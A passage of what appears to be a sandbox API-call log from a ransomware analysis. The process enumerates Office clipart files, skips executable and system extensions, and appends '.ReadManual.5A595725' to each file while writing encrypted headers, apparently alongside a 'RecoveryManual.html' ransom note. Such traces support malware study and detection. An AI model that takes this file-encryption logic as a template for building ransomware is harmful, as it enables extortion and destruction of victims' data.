0x76c1a55b [0263.725] CloseHandle (hObject=0x194) returned 1 [0263.725] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0263.726] lstrcpyW (in: lpString1=0x6ab90a, lpString2="INDST_01.MID" | out: lpString1="INDST_01.MID") returned="INDST_01.MID" [0263.726] lstrcmpiW (lpString1="INDST_01.MID", lpString2="RecoveryManual.html") returned -1 [0263.726] StrStrIW (lpFirst="INDST_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.726] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0263.726] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0263.726] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0263.726] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0263.726] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0263.726] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0263.726] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0263.726] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0263.726] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" [0263.726] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.ReadManual.5A595725" [0263.726] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.ReadManual.5A595725") returned 87 [0263.726] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38439496531) returned 1 [0263.726] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0263.726] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.727] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8568) returned 1 [0263.727] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2178, lpName=0x0) returned 0x184 [0263.727] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.773] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.773] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.833] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.833] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2178) returned 0x2f0000 [0263.834] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.834] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38450251062) returned 1 [0263.834] CloseHandle (hObject=0x184) returned 1 [0263.834] SetSecurityInfo () returned 0x57 [0263.834] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.834] CloseHandle (hObject=0x194) returned 1 [0263.834] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0263.834] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0075478.GIF" | out: lpString1="J0075478.GIF") returned="J0075478.GIF" [0263.834] lstrcmpiW (lpString1="J0075478.GIF", lpString2="RecoveryManual.html") returned -1 [0263.834] StrStrIW (lpFirst="J0075478.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.834] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0263.834] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0263.834] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0263.834] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0263.834] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0263.834] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0263.834] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0263.834] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0263.834] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0263.834] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0263.834] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0263.834] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0263.835] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0263.835] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0263.835] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" [0263.835] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.ReadManual.5A595725" [0263.835] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.ReadManual.5A595725") returned 87 [0263.835] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38450345940) returned 1 [0263.835] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0264.020] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0264.021] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1220) returned 1 [0264.021] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c4, lpName=0x0) returned 0x184 [0264.021] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0264.022] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.022] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0264.130] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0264.130] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c4) returned 0x2f0000 [0264.130] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0264.130] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38479924964) returned 1 [0264.131] CloseHandle (hObject=0x184) returned 1 [0264.131] SetSecurityInfo () returned 0x57 [0264.131] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0264.131] CloseHandle (hObject=0x194) returned 1 [0264.131] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0264.131] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086384.WMF" | out: lpString1="J0086384.WMF") returned="J0086384.WMF" [0264.131] lstrcmpiW (lpString1="J0086384.WMF", lpString2="RecoveryManual.html") returned -1 [0264.131] StrStrIW (lpFirst="J0086384.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0264.131] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0264.131] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0264.131] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" [0264.131] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.ReadManual.5A595725" [0264.131] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.ReadManual.5A595725") returned 87 [0264.131] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38480015504) returned 1 [0264.131] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0264.272] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0264.273] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9734) returned 1 [0264.273] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2606, lpName=0x0) returned 0x184 [0264.273] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0264.274] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.274] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0264.379] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0264.380] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2606) returned 0x2f0000 [0264.380] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0264.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38504871570) returned 1 [0264.380] CloseHandle (hObject=0x184) returned 1 [0264.380] SetSecurityInfo () returned 0x57 [0264.380] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0264.380] CloseHandle (hObject=0x194) returned 1 [0264.380] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0264.380] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086420.WMF" | out: lpString1="J0086420.WMF") returned="J0086420.WMF" [0264.380] lstrcmpiW (lpString1="J0086420.WMF", lpString2="RecoveryManual.html") returned -1 [0264.380] StrStrIW (lpFirst="J0086420.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0264.380] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0264.380] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0264.381] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0264.381] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" [0264.381] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.ReadManual.5A595725" [0264.381] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.ReadManual.5A595725") returned 87 [0264.381] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38504976420) returned 1 [0264.381] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0264.381] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0264.382] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9596) returned 1 [0264.382] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x257c, lpName=0x0) returned 0x184 [0264.382] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0264.383] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.383] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0264.473] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0264.473] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x257c) returned 0x2f0000 [0264.473] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0264.474] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38514230238) returned 1 [0264.474] CloseHandle (hObject=0x184) returned 1 [0264.474] SetSecurityInfo () returned 0x57 [0264.474] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0264.474] CloseHandle (hObject=0x194) returned 1 [0264.474] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0264.474] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086424.WMF" | out: lpString1="J0086424.WMF") returned="J0086424.WMF" [0264.474] lstrcmpiW (lpString1="J0086424.WMF", lpString2="RecoveryManual.html") returned -1 [0264.474] StrStrIW (lpFirst="J0086424.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0264.474] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0264.474] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0264.474] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" [0264.474] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.ReadManual.5A595725" [0264.475] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.ReadManual.5A595725") returned 87 [0264.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38514332033) returned 1 [0264.475] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0264.475] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0264.475] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17016) returned 1 [0264.475] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4278, lpName=0x0) returned 0x184 [0264.475] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0264.476] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.476] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0264.582] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0264.582] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4278) returned 0x2f0000 [0264.583] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0264.583] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38525156258) returned 1 [0264.583] CloseHandle (hObject=0x184) returned 1 [0264.583] SetSecurityInfo () returned 0x57 [0264.583] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0264.583] CloseHandle (hObject=0x194) returned 1 [0264.583] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0264.583] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086426.WMF" | out: lpString1="J0086426.WMF") returned="J0086426.WMF" [0264.583] lstrcmpiW (lpString1="J0086426.WMF", lpString2="RecoveryManual.html") returned -1 [0264.583] StrStrIW (lpFirst="J0086426.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0264.583] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0264.583] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0264.584] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0264.584] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0264.584] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0264.584] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0264.584] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0264.584] StrCmpIW (psz1="WMF", 